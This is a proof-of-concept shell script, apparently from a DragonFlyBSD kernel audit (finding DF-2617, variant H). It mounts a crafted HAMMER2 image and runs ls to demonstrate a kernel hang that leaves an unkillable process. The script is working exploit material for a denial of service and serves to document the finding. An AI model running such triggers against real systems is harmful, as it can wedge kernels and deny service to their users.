DragonFlyBSD Kernel Audit
DF-2617 / trigger_H.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2617 variant H: INDIRECT bref data_off=0 under PFS root -> mount OK,
# `ls` descends into the indirect and hits the debugging loop at
# chain.c:2524-2529:  while (1) tsleep(parent, 0, "xxx", 0);
# Prove the hang: ls never returns, kill -9 has no effect, wchan evidence.
LOG=/root/poc/df2617/run_H.log
exec > $LOG 2>&1
set -x
uname -a
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2617/H.img
mkdir -p /mnt/h2
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?
mount | grep h2
date
ls -la /mnt/h2 &
LPID=$!
sleep 20
echo "--- after 20s: ls process state (expect no exit) ---"
ps -axo pid,stat,etime,wchan,command | grep -E "^[ *]*$LPID|PID" | grep -v grep
echo "--- kill -9 attempt ---"
kill -9 $LPID 2>&1 || true
sleep 5
echo "--- after kill -9: still present? ---"
ps -axo pid,stat,etime,wchan,command | grep -E "^[ *]*$LPID" | grep -v grep && echo UNKILLABLE=yes || echo UNKILLABLE=no
echo "--- kernel threads sleeping on wchan xxx ---"
ps -axo pid,stat,wchan,comm | grep -w -E "xxx|WCHAN" || true
ps -axo pid,stat,wchan,comm | grep -i h2 | head -40
echo "--- procstat kernel stacks of ls ---"
procstat -kk $LPID 2>&1 || true
procstat -t $LPID 2>&1 || true
echo "--- second ls (mount wedged?) ---"
timeout 10 ls -la /mnt/h2; echo SECOND_LS_RC=$?
echo H_CAPTURE_DONE